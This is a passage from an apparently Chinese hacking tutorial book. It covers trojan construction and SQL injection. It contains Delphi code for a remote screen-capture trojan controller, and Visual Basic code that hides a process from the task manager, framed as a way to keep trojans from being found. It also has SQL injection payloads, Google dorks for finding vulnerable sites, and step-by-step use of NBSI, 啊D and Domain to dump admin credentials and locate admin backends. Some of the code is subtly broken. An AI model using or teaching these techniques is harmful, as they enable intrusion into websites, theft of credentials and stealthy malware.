步骤1　新建一个默认窗体的Name属性为"Server"的Delphi工程，并加入TNMUDP控件，Name属性设为"SUDP"。

步骤2　将LocalPort属性设为“1455”，让控件SUDP监视主控机的1455端口，当有数据发送到该端口时，触发控件SUDP的OnDataReceived事件。

步骤3　 RemotePort属性设为“1433”，当控件SUDP发送数据时，将数据发到受控机的1433端口。再在其中加入如下的控件，并设置相应属性。

Image1控件，并将Align属性设为"alClient"；

Button1控件，并将Caption属性设为“截屏”；

Label1控件，并将Caption属性设为“左:上:右:下”；

Label2控件，并将Caption属性设为“受控机IP地址”；

Edit1控件，并将Text属性设为“0:0:100:100”；

Edit2控件，并将Text属性设为“127.0.0.1”。

步骤4　在implementation后面加入变量定义。

const BufSize=2047;

var

RsltStream, TmpStream:TMemoryStream;

步骤5　为Server的OnCreate事件添加如下的动作代码。

procedure TServer.FormCreate(Sender:TObject);

begin

RsltStream:=TMemoryStream.Create;

TmpStream:=TMemoryStream.Create;

end;

步骤6　为Server的OnDestroy事件添加动作代码。添加的动作代码如下。

procedure TServer.FormDestroy(Sender:TObject);

begin

RsltStream.Free;

TmpStream.Free;

end;

步骤7　为控件Button1的OnClick事件添加如下的动作代码。

procedure TServer.Button1Click(Sender:TObject);

var ReqCode:array[0..29]of char;ReqCodeStr:string;

begin

ReqCodeStr:='show'+Edit1.Text;

StrpCopy(ReqCode, ReqCodeStr);

TmpStream.Clear;

RsltStream.Clear;

SUDP.RemoteHost:=Edit2.Text;

SUDP.SendBuffer(ReqCode,30);

end;

步骤8　为控件SUDP的OnDataReceived事件添加如下的动作代码。

procedure TServer.SUDPDataReceived(Sender:TComponent;NumberBytes:Integer;FromIP:

String);

var ReqCode:array[0..29]of char;ReqCodeStr:string;

begin

ReqCodeStr:='show'+Edit1.text;

StrpCopy(ReqCode, ReqCodeStr);

SUDP.ReadStream(TmpStream);

RsltStream.CopyFrom(TmpStream, NumberBytes);

if NumberBytes＜BufSize then//数据已读完

begin

RsltStream.Position:=0;

Image1.Picture.Bitmap.LoadFromStream(RsltStream);

TmpStream.Clear;

RsltStream.Clear;

end

else

begin

TmpStream.Clear;

ReqCode:='show';

SUDP.RemoteHost:=Edit2.Text;

SUDP.SendBuffer(ReqCode,30);

end;

end;

步骤9　将创建的工程保存为"C:VServerSvrUnit.pas"和"C:VServerVServer.dpr"，并对其进行编译。

4.测试程序

在通常情况下，在程序编写完成之后，需要测试编写的程序是否可以实现特定的功能。具体测试方法：在目标计算机中运行VServer.exe程序；选择一台计算机作为主控机，运行VClient.exe并将“受控机IP地址”（即Edit2的内容）设为受控机IP地址，看能否实现截屏。

7.1.4　电子眼——计算机扫描技术的编程

扫描就是对计算机系统或者其他网络设备进行安全相关的检测，以找出安全隐患和可被黑客利用的漏洞。显然，扫描软件是把双刃剑，黑客利用它入侵系统，而系统管理员掌握它又可有效防范黑客入侵。所以在黑客软件和或其他应用软件中，扫描技术占有重要位置。

本节将从端口、文件目录和进程三个方面分别对扫描器的编程进行详细介绍。

1.主机的端口状态扫描

在C++中可调用CPortScanDig:TestConnection函数来实现端口扫描功能。其基本原理是：和对方被扫描端口建立连接请求，如连接成功则说明对方端口开放，否则对方端口没有打开。

该函数的具体调用方式如下：

BOOL CPortScanDig:TestConnection(CString IP, UINT nPort)

{

//创建套接字

CSocket*pSocket;

pSocket=new CSocket;//这里使用了C++的内建类库CSocket,当然也可以直接使用Socket编程

ASSERT(pSocket);

if(!pSocket-＞Create())

{

Delete pSocket;

pSocket=NULL;

//如果套接字创建不成功,则返回false

return FALSE;

}

//连接主机

while(!pSocket-＞Connect(IP, nPort))

{

Delete pSocket;

pSocket=NULL;

//如果指定的端口没有打开,则返回false

return FALSE;

}

//清除套接字

pSocket-＞Close();

delete pSocket;

//如果端口是开放的,则返回值为true

return TRUE;

}

2.文件目录扫描

对目标计算机中的文件进行扫描也是计算机病毒和反病毒中常用的一种技术，下面将介绍几种扫描文件时要用到的API函数，以及实现文件搜索的功能代码。

（1）FindFirstFile函数。在此函数中提供了如文件名和属性等专门的参数，且提供查找文件匹配的条件，所以该函数可用来在一个目录中扫描文件。函数的具体格式如下：

HANDLE FindFirstFile(

LPCTSTR lpFileName,//指向要查找的文件名称的指针

LPWIN32_FIND_DATA lpFindFileData//指向匹配的文件信息的指针

);

其中"lpFindFileData"参数是一个LPWIN32_FIND_DATA结构，该结构用于存放第一个匹配查找字符串的文件的有关信息。如果查找成功，则会返回一个合法的句柄，用户可使用该句柄来继续查找文件。另外，该函数还有一个升级版本，其具体格式如下：

HANDLE FindFirstFile(

LPCTSTR lpFileName,//指向要查找的文件名称的指针

FINDEX_INFO_LEVELS fInfoLevelId,//返回数据的信息级别

LPVOID lpFindFileData,//指向返回信息的指针

FINDEX_SEARCH_OPS fSearchOp,//执行过滤的类型

LPVOID lpSearchFilter,//指向查找规则的指针

DWORD dw AdditionalFlags//额外的查找控制标志

);

（2）FindNextFile函数。如果想把从FindFirstFile开始的搜索继续进行下去，就需要使用FindNextFile函数，该函数的作用是继续查找FindFirstFile函数搜索后的文件。

其具体格式如下：

BOOL FindNextFile(

HANDLE hFindFile,//要查询的句柄,即上一个函数的返回句柄

LPWIN32_FIND_DATA lpFindFileData//指向匹配的文件的信息

);

如果该函数调用成功，则会返回一个非零值，否则返回FALSE。

（3）FindClose函数。如果完成查找，还必须调用FindClose函数来关闭用FindFirstFile打开的句柄，只需要将FindFirstFile返回的句柄当作参数传入即可。该函数的具体格式如下：

BOOL FindClose(

HANDLE hFindFile//要查询的句柄

);

（4）下面是用C语言编写的用来进行文件搜索的代码，可以列出在C:\目录中的所有扩展名为.exe的文件：

#include＜windows.h＞

#include＜tchar.h＞

#ifndef UNICODE

#include＜stdio.h＞

#endif

Void DisplayError(LPCTSTR pszTitle);

int_tmain(int argc, TCHAR*argv[])

{

WIN32_FIND_DATA wfd;

HANDLE hSearch=FindFirstFile(_T("C:\\*.exe"),＆wfd);

If(hSearch!=INVALID_HANDLE_VALUE)

{

_tprint(_T("%s\n"),wfd.cFileName);

While(FindNextFile(hSearch,＆wfd))

_tprint(_T("%s\n"),wfd.cFileName);

FindClose(hSearch);

}

Else

{

DisplayError(argv[0]);

}

return 0;

}

void DisplayError(LPCTSTR pszTitle)

{

LPVOID pv;

FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|

FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError();

MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),(LPTSTR)＆pv,0,NULL);

MessageBox(NULL, pv, pszTitle, MB_ICONHAND);

LocalFree(pv);

}

3.进程扫描

对目标计算机中的进程进行扫描也是黑客常用的一种手段，下面是用VC++实现进程扫描的代码：

void CListProcessesDlg:ListProcesses()

{

//初始化

HANDLE hProcessSnap=NULL;

PROCESSENTRY32 pe32={0};//pe32用来存放进程的详细信息

//获得快照句柄

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//判断函数CreateToolhelp32Snapshot是否成功执行

if(hProcessSnap==(HANDLE)-1)

{

Printf("\nCreateToolhelp32Snapshot()failed:%d",GetLastError());

Return;

}

//pe32中的dwSize字段必须赋初值,否则在执行Process32First函数时会出错

pe32.dwSize=sizeof(PROCESSENTRY32);//列举所有进程名称

if(Process32First(hProcessSnap,＆pe32))

{

do

{

m_ctrlLstProcesses.AddString(pe32.szExeFile);//将进程加到列表框中

}

while(Process32Next(hProcessSnap,＆pe32));//直到列举完毕

}

else

{

printf("\nProcess32First()failed:%d",GetLastError());

}

CloseHandle(hProcessSnap);//关闭句柄

}

7.2　隐藏防复制程序的运行

由于在一些系统中为了某个特定的要求，必须将经常运行的程序隐藏起来运行（如生成的木马控制程序），以避免被发现并查杀。对于一个要隐藏起来运行的程序，它既不能在桌面上出现，也不能在任务栏里出现程序图标，甚至程序的名称也不能在进程管理器中出现。

如果要实现程序的隐藏可采取以下几种措施：

如果要实现程序运行时不能在桌面上出现，则可以在Visual Basic 6.0中将Form的Visible属性设置为False。

如果想实现将程序的图标从系统任务栏中屏蔽掉，只需将Form中的ShowInTaskBar属性也设置为False即可。

如果想实现进程管理器中不出现程序的名字，可通过在Windows环境下调用WIN API函数中的RegisterviceProcess函数来实现。

下面以防止复制程序为例，来介绍如何实现隐藏程序的运行。其具体的实现步骤如下。

步骤1　在Visual Basic 6.0中新建一个Project1工程，并在工程属性中将工程的名称改为HiddenMen，将生成的应用程序标题相应地也设置为HiddenMen。

步骤2　在新建的工程中添加一个模块，且其名称为Module1，然后在模块Module1中加入如下声明代码：

Public Declare Function GetCurrentProcessId Lib"kernel32"()As Long//获得当前进程ID函数的声明

Public Declare Function RegisterServiceProcess Lib"kernel32"(ByVal ProcessId As Long,

ByVal ServiceFlags As Long)As Long//在系统中注册当前进程ID函数的声明

步骤3　在添加完代码之后，在右边属性窗口中将窗体Form1的"Visible"属性设置为False；将"ShowInTaskBar"属性设置为False，如图7-13所示。

图　7-13　设置窗体Form1属性

步骤4　双击窗体Form1，在打开的代码窗口中添加如下代码段：

Private Declare Function GetDriveType Lib"kernel32"Alias"GetDriveTypeA"(ByVal nDrive As String)As Long

//获得当前驱动器类型函数的声明

Private Declare Function GetVolumeInformation Lib"kernel32"Alias"GetVolumeInformat

ionA"(ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize

As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As

Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long)As Long

//获得当前驱动器信息函数的声明

Private Sub Form_Load()

Dim drive_no As Long, drive_flag As Long

Dim drive_chr As String, drive_disk As String

Dim serial_no As Long, kkk As Long

Dim stemp3 As String, dflag As Boolean

Dim strlabel As String, strtype As String, strc As Long

RegisterServiceProcess GetCurrentProcessId,1

//从系统中取消当前进程

strlabel=String(255,Chr(0))

strtype=String(255,Chr(0))

stemp3="188225543"//这是C盘的序列号(十进制),可以根据自己的情况指定

dflag=False

For drive_no=0 To 25

drive_disk=Chr(drive_no+67)

drive_chr=drive_disk＆“:\”

drive_flag=GetDriveType(drive_chr)

If drive_flag=3 Then

kkk=GetVolumeInformation(drive_chr, strlabel, Len(strlabel),serial_no,0,0,

strtype, Len(strtype))

//通过GetVolumeInformation获得磁盘序列号

Select Case drive_no

Case 0

strc=serial_no

End Select

If serial_no=stemp3 Then

dflag=True

Exit For

End If

End If

Next drive_no

If drive_no=26 And dflag=False Then//非法用户

GoTo err:

End If

MsgBox("用户合法")

Exit Sub

err:

MsgBox("错误!您的C盘ID号是"＆strc)

End Sub

Private Sub Form_Unload(Cancel As Integer)

RegisterServiceProcess GetCurrentProcessId,0

//从系统中将当前的进程取消

End Sub

步骤5　将上述代码段进行编译之后运行，如果出现提示框“错误！您的C盘ID号是188225543”，则可使用组合键"Ctrl+Alt+Del"打开【任务管理器】窗口。在“进程”列表中查看名称为"HiddenMen"的程序是否在。如果将上述程序代码段稍作改动，添加到特定的程序中，就可以将该程序隐藏起来。这样就很容易地完成程序预定的功能了。

7.3　专家点拨

点拨1：当编写完成木马程序时，为什么却发现程序不能成功运行？

解答：出现这种情况的原因在于，不同的计算机决定了不同的程序运行环境。所以，唯一的方法就是反复编译运行，经过多次的修改直到能够成功运行为止。

点拨2：在编写基于ICMP的VC木马时，为什么不能使用预期的功能？

解答：在Windows 2000中recvfrm函数的sockRaw参数需要管理员权限，如果在没有得到管理员权限的情况下，进行编写服务端监听程序是不可能成功的。

7.4　总结与经验积累

通过本章的学习，可以使大家认识到编写木马程序对于计算机病毒和反病毒操作的重要性。一旦学会了木马编程，就不用担心下载的木马功能不全的问题，可以根据自己的爱好编写出拥有自定义功能的木马。

而对于那些系统管理员，了解木马程序的编写过程，可使其更加快捷地找到防御木马的方法。编写木马程序需要有扎实的计算机语言基础，所以大家需要及时提高自己的编程水平。

第8章
SQL注入攻击与防范技术

重点提示

♂SQL注入攻击前的准备

♂常见的注入工具

♂'or'='or'经典漏洞攻击

♂缺失单引号与空格的注入

♂SQL注入攻击的防范

SQL注入攻击是针对脚本系统的攻击中最常见的一种攻击方式，也是危害最大的一种攻击手段。由于SQL注入攻击的易学易用，使得现在各种SQL攻击蔓延，对网站安全的危害非常严重。

8.1　SQL注入攻击前的准备

SQL注入攻击就是黑客通过往SQL的Query中插入一系列的SQL语句，将操作数据写到应用程序中，从而实现非法操作数据库或网站的目的。本节将介绍SQL注入攻击的分类、攻击前需要做的准备、寻找攻击入口、判断SQL注入点类型、判断目标数据库类型等内容。

8.1.1　攻击前的准备

由于目前大部分网站都采用Web动态网页结合后台数据库构建，网页从用户的请求中得到一些重要信息，通过SQL语句请求发给数据库，将从数据库中得到的结果返回到网页，从而完成相应的功能。在许多Web网站系统中，由于网站程序中的变量处理不当，或者对用户提交的数据过滤不足，就可能产生SQL注入漏洞。黑客可利用用户可提交或可修改的数据，来构造特殊的SQL语句，将SQL语句插入系统实际执行的SQL语句中，从而获取数据库中的某些重要信息，如用户名和密码等，甚至可以利用SQL注入漏洞控制整个网站服务器。

根据网站所使用Web脚本语言不同，SQL注入攻击可分为ASP、PHP、JSP、ASPX注入等多种注入方式。目前，国内网站用ASP+Access或SQL Server的占70%以上，PHP+MySQL占20%，其他不足10%。ASP注入与其他语言的注入原理是一样的，但由于Web语言环境不同，所以实际注入时使用的注入语句也不尽相同。同时SQL注入攻击并不针对SQL Server数据库，后台使用Access、MySQL、Oracle等数据库时可能存在注入漏洞。

黑客在实施SQL注入攻击前，会先进行一些准备工作，如取消友好HTTP错误信息、准备工具等。如果要对网站进行SQL注入漏洞的检测，也需要进行同样的准备。

1.取消友好HTTP错误信息

在进行SQL注入入侵时，需要利用从服务器上返回的各种出错信息，但在浏览器中默认设置是不显示详细错误返回信息的，所以通常只能看到“HTTP 500服务器错误”提示信息。因此，需要在进行SQL注入攻击之前先设置IE浏览器。设置的具体步骤如下：

步骤1　在IE浏览器窗口中选择【工具】→【Internet选项】菜单项，即可打开【Internet选项】对话框，如图8-1所示。

图　8-1　【Internet选项】对话框

步骤2　切换到“高级”选项卡，取消勾选“显示友好HTTP错误信息”复选框之后，单击【确定】按钮，即可设置返回详细信息，如图8-2所示。

图　8-2　取消显示友好HTTP错误信息

2.准备注入过程中使用的工具

与其他攻击手段相似，在进行SQL注入攻击前需要经过漏洞扫描、入侵攻击、种植木马后门进行长期控制等几个步骤。在入侵过程中往往会使用一些特殊工具（SQL注入漏洞扫描器与猜解工具、Web木马后门及注入辅助工具等）提高入侵效率和成功率。

（1）SQL注入漏洞扫描器与猜解工具。对于SQL注入攻击来说，SQL注入漏洞扫描器与猜解工具是必不可少的。ASP环境的注入扫描器主要有NBSI（其主窗口如图8-3所示）、HDSI、Domain、"WIS+WED"和冰舞（其主窗口如图8-4所示）等；而PHP+MySQL注入比较好的工具有CASI（其主窗口如图8-5所示）、PHPrf、二娃（其主窗口如图8-6所示）等。

图　8-3　【NBSI】主窗口

图　8-4　【冰舞V2.6】主窗口

图　8-5　【CASI】主窗口

图　8-6　【二娃】主窗口

这些工具大部分都采用SQL注入漏洞扫描与攻击于一体的综合利用工具，可以帮助攻击迅速完成SQL注入点寻找与数据库密码破解、系统攻击等过程。

（2）Web木马后门

Web木马后门是在注入成功后，安装在网站服务器上用来控制一些特殊的木马后门。常见的Web木马后门有“冰狐浪子ASP”木马，其客户端如图8-7所示；ASP站长助手，其主窗口如图8-8所示。而PHP木马后门工具有黑客之家PHP木马、PHPSpy等，主要用于注入攻击后控制PHP环境的网站服务器。

图　8-7　冰狐浪子ASP木马的客户端

图　8-8　ASP站长助手

（3）注入辅助工具

在进行SQL注入攻击时，还需要借助一些辅助的工具来实现字符转换、格式转换等功能。常见的SQL注入辅助工具有SQL注入字符转换工具、ASP木马C/S模式转换器（其主窗口如图8-9所示）和C2C注入格式转换器（其主界面如图8-10所示）。

图　8-9　【ASP木马C/S模式转换器】窗口

图　8-10　【C2C注入格式转换器】界面

8.1.2　寻找攻击入口

如果要对某个网站进行SQL注入攻击，则需先找到存在SQL注入漏洞的网站，即寻找注入点。SQL注入点一般都存在于登录页面、查询页面、添加页面以及信息浏览网页、用户提交以及用户修改数据地方（如登录用户名、密码输入框以及信息条目ID显示页面等）。可以通过手工检测和使用专门的工具来寻找注入点。

最常用的SQL注入点判断方法是在网站中寻找如下形式的网页链接：

http://www.****.com/***.asp?id=xx（ASP注入）

http://www.****.com/***.php?id=xx（PHP注入）

在IE浏览器中手工搜索ASP或PHP注入点的具体步骤如下。

步骤1　在IE浏览器地址栏中输入www.google.com，即可打开Google搜索引擎，如图8-11所示。

图　8-11　Google搜索引擎

步骤2　单击【高级搜索】链接，即可打开Google高级搜索设置页面，在“字典位置”选项组的“查询字典位于”下拉列表中选择“网页的网址”选项；在“包含全部的字词”文本框中输入"asp?id="，如图8-12所示。

图　8-12　【高级搜索】窗口

步骤3　单击【Google搜索】按钮，即可看到所有网址中含有"asp?id="的网页，如图8-13所示。只需将搜索关键词改为"php?id="，即可扫描PHP注入站点，其搜索结果如图8-14所示。

图　8-13　搜索网址中含有"asp?id="的网页

图　8-14　搜索网址中含有"php?id="的网页

也可以在动态网页地址的参数后加上一个单引号，如果出现错误则可能存在注入漏洞。由于通过手工方法进行注入检测的猜解效率低，所以最好是使用专门的软件进行检测。

8.1.3　判断SQL注入点类型

由于在注入时提交的变量参数类型的不同，SQL注入点也有不同的分类。根据提交参数类型，可以将SQL注入点分为如下三种：

（1）字符型注入点。该类注入点的注入参数是“字符”，例如“http://******?Class=日期”。这类注入点提交的SQL语句格式为：Select*from表名where字段='年龄'

当提交注入参数是“http://******?Class=年龄And[查询条件]”时，就会向数据库提交SQL语句：Select*from表名where字段='年龄'and[查询条件]

（2）搜索型注入点。搜索型注入点是一类特殊的注入类型，主要是指在进行数据搜索时没过滤搜索参数，一般在链接地址中包含“keyword=关键字”。该类注入点提交的SQL语句：Select*from表名where字段like'%关键字%'

当提交注入参数是“keyword='and[查询条件]and'%'='”时，则会向数据库提交SQL语句：Select*from表名where字段like'%'and[查询条件]and'%'='%'

（3）数字型注入点。这类注入的参数是“数字”，例如"http://******?id=1006"。这类注入点提交的SQL语句的一般格式为：Select*from表名where字段=1006

当提交注入参数是“http://*****?id=1006 And[查询条件]”时，就会向数据库提交完整的SQL语句：Select*from表名where字段=1006 And[查询条件]

提示　虽然每个类型都有其特点，但却与注入的过程无关。每一个从网络应用程序提交给SQL查询的参数都属于以上三个类型中的一类，其中数字参数被直接提交给服务器，而字符串和日期则需要加上引号才被提交。

8.1.4　判断目标数据库类型

现在的网站一般都采用ASP+SQL Server/Access或PHP+MySQL结构，所以对于PHP网站使用的数据库可能是SQL Server或MySQL；而对于ASP网页，使用的数据库可能是Access或SQL Server，所以针对不同的数据库要采用不同的注入方法。

为了选择采用的注入攻击方式，需要判断注入漏洞网站数据库类型。由于SQL Server包含内置的系统变量，所以在注入时可通过查询语句直接返回其表名或字段名，但Access的SQL查询功能比较简单，无法返回正确信息，所以可以构造特殊的语句来判断。

下面将介绍两种判断SQL Server和Access的方法。

1.报出数据库类型

SQL Server中包含一些系统变量和系统表，服务器IIS提示没有关闭，且SQL Server返回错误提示信息的情况下，可直接根据返回信息来判断数据库的类型。

（1）利用数据库服务器的系统变量进行区分。在SQL Server中定义user、db_name()等系统变量，利用这些系统值不仅可判断是否使用SQL Server数据库，还可得到大量有用信息。其方法是在注入点后加上"and user＞0"，即http://www.xxx.com/abc.asp?id=AB and user＞0。

上述语句是典型SQL Server注入原理的体现。首先前面的语句是正常的，重点是"and user＞0"。其中user是SQL Server中的一个内置变量，其值是当前连接用户名，其类型是"nvarchar"。此时系统就会把这个"nvarchar"值与"int"中的0进行比较，这就需要将"nvarchar"的值转换为"int"型。但在转换过程中会出错，所以SQL Server会报出相应的错误信息。如果看到“Microsoft OLE DB Provider for SQL Server错误'80040e07'”提示信息，则可以判断是SQL数据库。将nvarchar值“***”转换为数据类型为int的列时发生语法错误。

从上述提示信息中可以很方便地测试出数据库的类型是否为SQL Server，但如果用户是用"sa"登录，如果得到“将"dbo"转换成int的列发生错误”提示信息也可判断所使用的数据库为SQL Server。

如果要注入的网站使用的是Access数据库，则可得到如下提示信息：

Microsoft OLE DB Provider for ODBC Drivers错误'80040e10'

[Microsoft][ODBC Microsoft Access Driver]参数不足，期待是1

（2）利用系统表。在IIS服务器不允许返回错误信息的情况下，只能通过数据库内置的系统数据表来判断数据库类型。Access和SQL Server数据库都有自己的系统表，其作用是存放数据库所有对象的表。Access的系统表是msysobjects，且在Web环境下没有访问权限；而SQL Server的系统表是sysobjects，在Web环境下可以正常读取。所以，根据Access和SQL数据库系统的不同可以判断数据库的类型。

在确认可以注入的情况下，使用如下语句：

http://www.xxx.com/abc.asp?id=AB and (select count(*)from sysobjects)＞0

http:/www.xxx.com/abc.asp?id=AB and (select count(*)from msysobjects)＞0

若使用的数据库是SQL Server，则第一个网址的页面与原页面http://www.xxx.com/abc.asp?p=id是大致相同的，即abc.asp运行正常，而第二个网址则异常；若使用的数据库是Access，则上面的两个网址都会异常。而对于第二个网址，由于在Access中是不允许读取数据库系统表msysobjects的，所以会提示出错。一般情况下，通过第一个网址就可以知道网站所使用的数据库类型，而第二个网址只能作为IIS错误提示时的验证。

2.根据网站返回的错误信息

为了方便网站管理员解决各种操作错误的问题，网站会将各种错误信息显示在出错页面中。但是这些信息也给黑客带来了便利，他们可以通过注入点的返回信息判断出网站所使用的数据库类型。下面是几种常见的返回信息：

在返回信息中，看到“Microsoft OLE DB Provider for SQL Server错误'80040e14'”，则表明该网站使用的是SQL Server数据库。

如果返回类似“Microsoft JET Database Engine错误'80040e14'”的提示信息，则说明使用的是Access数据库。

如果提示信息为“Microsoft OLE DB Provider for ODBC Drivers错误'80040e14'”，则可能为SQL Server数据库也可能为Access数据库。

如果看到如下提示信息则可确定该网站使用的是SQL Server数据库：Microsoft OLE DB Provider for ODBC Drivers错误'80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]字符串''2'之后有未闭合的引号/bbs/Login.asp，行52

如果看到如下的返回信息，则说明数据采用OLE DB驱动且使用Access数据库。

Microsoft OLE DB Provider for ODBC Drivers错误'80040e14'

[Microsoft][ODBC Microsoft Access Driver]字符串的语法错误，在查询表达式''user_id=001'/bbs/admin.asp，行46

8.2　常见的注入工具

除使用手工检测方法来检测网站中是否存在SQL注入漏洞外，还可以直接使用一些专门的注入工具进行扫描，以提高注入检测的效率，但这些工具已成为黑客进行注入攻击的利器。

8.2.1　NBSI注入工具

NBSI是一套高集成性Web安全检测系统，是一款网站漏洞检测和ASP注入漏洞检测工具，特别在SQL Server注入检测方面有极高的准确率。在NBSI个人版中限制了一些功能，只能检测出一般网站的漏洞，而商业版则没有完全限制，而且分析范围和准确率都所有提升。

使用NBSI可检测出网站中是否注入漏洞，也可进行注入攻击。具体的实现步骤如下。

步骤1　下载并运行其主程序NBSI.exe，即可打开【NBSI操作】主窗口，如图8-15所示。单击工具栏中的【网站扫描】按钮，即可打开【网站扫描】窗口，如图8-16所示。

图　8-15　【NBSI】主窗口

图　8-16　【网站扫描】窗口

步骤2　在“注入地址”文本框中输入要扫描的网站地址，并选择“快速扫描”单选按钮。单击【扫描】按钮，即可开始进行扫描。如果该网站存在注入漏洞，则会在扫描过程中将这些漏洞地址及其注入性的高低显示在“扫描结果”列表中，如图8-17所示。

图　8-17　扫描后的结果

步骤3　在“扫描结果”列表中单击要注入的网址，即可将其添加到“注入地址”文本框中，如图8-18所示。

图　8-18　选择注入的网站地址

步骤4　单击【注入分析】按钮，即可进入【注入分析】窗口中，如图8-19所示。在其中勾选"Get"单选按钮，则可以在“特征字符”文本区域中输入相应的特征符。

图　8-19　【注入分析】窗口

步骤5　单击【检测】按钮，即可对该网址进行检测，其检测结果如图8-20所示。这里得到一个数字型+Access数据库的注入点，ASP+MSSQL型的注入方法与其一样，都可以在注入成功之后去读取数据库的信息。

图　8-20　对选择的网站进行检测

提示　在检测完毕之后，如果“未检测到注入漏洞”单选按钮被选中，则表明是不能对该网站注入攻击的。

步骤6　在“已猜解表名”选项组中单击【猜解表名】按钮，即可打开【SI提示信息】对话框，在其中可以看到该网站的数据库类型等信息，如图8-21所示。

图　8-21　【SI提示信息】对话框

步骤7　单击【确定】按钮，即可开始对该网站数据库进行猜解。待猜解完毕之后，将会在“已猜解表名”文本框中显示出猜解出的数据表的表名，如图8-22所示。

图　8-22　猜解出的数据表表名

步骤8　选中要猜解的数据表后，单击【猜解列名】按钮，即可得到该表所包含列名的详细信息，如图8-23所示。在勾选要猜解列名前面的复选框之后，单击【猜解记录】按钮，即可得到该列中包含的详细信息，如图8-24所示。

图　8-23　猜解列名

图　8-24　猜解记录

步骤9　在【NBSI】主窗口的工具栏中单击【扫描及工具】按钮，即可进入【扫描及工具】窗口，如图8-25所示。

图　8-25　【扫描及工具】窗口

步骤10　将前面扫描出来的“可能性：较高”网址复制到“扫描地址”文本框中；并勾选“由根目录开始扫描”复选框。单击【开始扫描】按钮，即可将可能存在的管理后台显示在“可能存在的管理后台”列表中，如图8-26所示。

图　8-26　扫描到的管理后台

由于一个网站可能包含多个管理页面，所以扫描出来的管理后台不止一个。在默认管理页面利用破解出的用户名和密码进入其管理后台，也可以逐个进行测试。

8.2.2　啊D注入工具

啊D注入工具是一款出现相对较早，而且功能非常强大的SQL注入工具，具有旁注检测、SQL猜解、密码破解、数据库管理等功能。它是一个针对ASP+SQL注入的程序，与NBSI有着类似的界面与类似的功能。它能检测更多存在注入的连接，其最新版本是V2.32，使用的是多线程技术，从而大大提高检测速度。

使用啊D注入工具进行注入的具体操作步骤如下：

步骤1　下载并运行“啊D注入工具V2.32”，其主窗口如图8-27所示。在左边“注入检测”栏中单击【扫描注入点】按钮，即可打开【扫描注入点】窗口，如图8-28所示。

图　8-27　【啊D注入工具V2.32】主窗口

图　8-28　【扫描注入点】窗口

步骤2　在“检测网址”文本框中输入要检测的网址后，单击【打开网址】按钮，即可检测该网站是否存在注入漏洞。如果存在漏洞，则会将其显示在“可用注入点”栏中，如图8-29所示。

图　8-29　检测网站结果

步骤3　在“可用注入点”栏中选择要注入的网址，在左边“注入检测”栏中单击【SQL注入检测】按钮，即可进入【注入检测】主窗口，如图8-30所示。

图　8-30　【注入检测】主窗口

步骤4　单击【检测】按钮，即可进行检测。待检测完毕后单击【检测表段】按钮，即可检测出网页中用到的数据表，并将其显示在下面的列表中，如图8-31所示。

图　8-31　检测出来的注入点

步骤5　在检测出的数据表中选择某个数据表后，单击【检测字段】按钮，即可对其包含的字段进行检测，如图8-32所示。

图　8-32　对数据表的字段进行检测

步骤6　在检测出的字段列表中勾选其前面的复选框之后，单击【检测内容】按钮，即可检测出其具体内容，如用户名、密码等，如图8-33所示。

图　8-33　检测表段的内容

步骤7　在【啊D注入工具V2.32】主窗口中单击【管理入口检测】按钮，即可打开【管理入口检测】窗口，如图8-34所示。

图　8-34　【管理入口检测】窗口

步骤8　在“网站地址”文本框中输入要检测的地址后，单击【检测管理入口】按钮即可检测出该网站可能包含的管理入口。待检测完成后，会将该网站的可用连接和目录位置显示出来，如图8-35所示。

图　8-35　检测网址的管理入口

步骤9　在“可用连接和目录位置”列表中右击要打开的网址，在弹出的快捷菜单中选择“用IE打开连接”选项并在IE浏览器中打开该网页，如图8-36所示。这样，黑客就可以用猜解出来的管理员账号和密码尝试着进入该网站后台管理页面。

图　8-36　打开的登录页面

如果要防御此类注入只需要在设计数据库时，把数据的表段名、字段名等设置为陌生的名称，这样，啊D SQL等注入工具就失效了。

8.2.3　Domain注入工具

旁注WEB综合检测程序（Domain）是一款功能非常强大的SQL注入工具，可帮助用户很方便地进行旁注检测、综合上传、SQL注入检测、数据库管理等操作。该工具还具有虚拟主机域名查询、二级域名查询、整合读取、修改Cookes等功能，所以比较适合初学者。

Domain 3.6专用版主要包括6个模块，分别为旁注检测、综合上传、SQL注入检测、数据库管理、破解工具以及辅助工具等。而它的每个模块都由许多小功能组成，程序中每个检测功能都采用多线程技术。

在Domain中实现注入攻击的具体操作步骤如下。

步骤1　从网上下载旁注WEB综合检测程序（Domain）V.3.6专用版，然后运行Domain3.6.exe程序，即可打开【WEB综合检测程序Ver3.6专用版】主窗口，在其中可以看到Domain所包含的各个功能模块，如图8-37所示。

图　8-37　【WEB综合检测程序Ver3.6专用版】主窗口

步骤2　单击工具栏中的【旁注检测】按钮，即可打开【旁注检测】窗口，在“输入域名”文本框中输入要检测的网址，如图8-38所示。

图　8-38　【旁注检测】窗口

步骤3　单击【转换域名】按钮，即可将该网址对应的域名显示出来，如图8-39所示。单击【查询】按钮，即可将域名相同网址搜索出来并显示在左边区域中，如图8-40所示。

图　8-39　将网址转化为域名

图　8-40　批量查询网址

步骤4　在其中双击要检测的网站，即可进行注入点检测。如果存在注入点，则会将其显示在下面的“注入点”列表中，如图8-41所示。在“注入点”列表中右击要注入的网址，在弹出的快捷菜单中选择“注入检测”选项即可进入【注入检测】窗口，如图8-42所示。

图　8-41　检测出的注入点

图　8-42　【注入检测】窗口

步骤5　单击【开始检测】按钮即可开始检测，待检测完毕后如果出现“恭喜，该URL可以注入！数据库类型：Access数据库”提示信息则说明该网址可以注入，如图8-43所示。

图　8-43　检测网址是否可以注入

步骤6　单击“数据库”栏中的【猜解表名】按钮，即可对该网页用到的数据库进行猜解。待猜解完毕后，即可将得到的数据表名显示在“数据库”列表中，如图8-44所示。

图　8-44　猜解表名

步骤7　选中要猜解的数据表后，单击【猜解列名】按钮，即可对列名进行猜解，并将猜解出的列名显示在右边的列表中，如图8-45所示。选中要猜解的数据表后，单击【猜解内容】按钮，即可得到该表所包含列的相关信息，如图8-46所示。

图　8-45　猜解列名

图　8-46　猜解内容

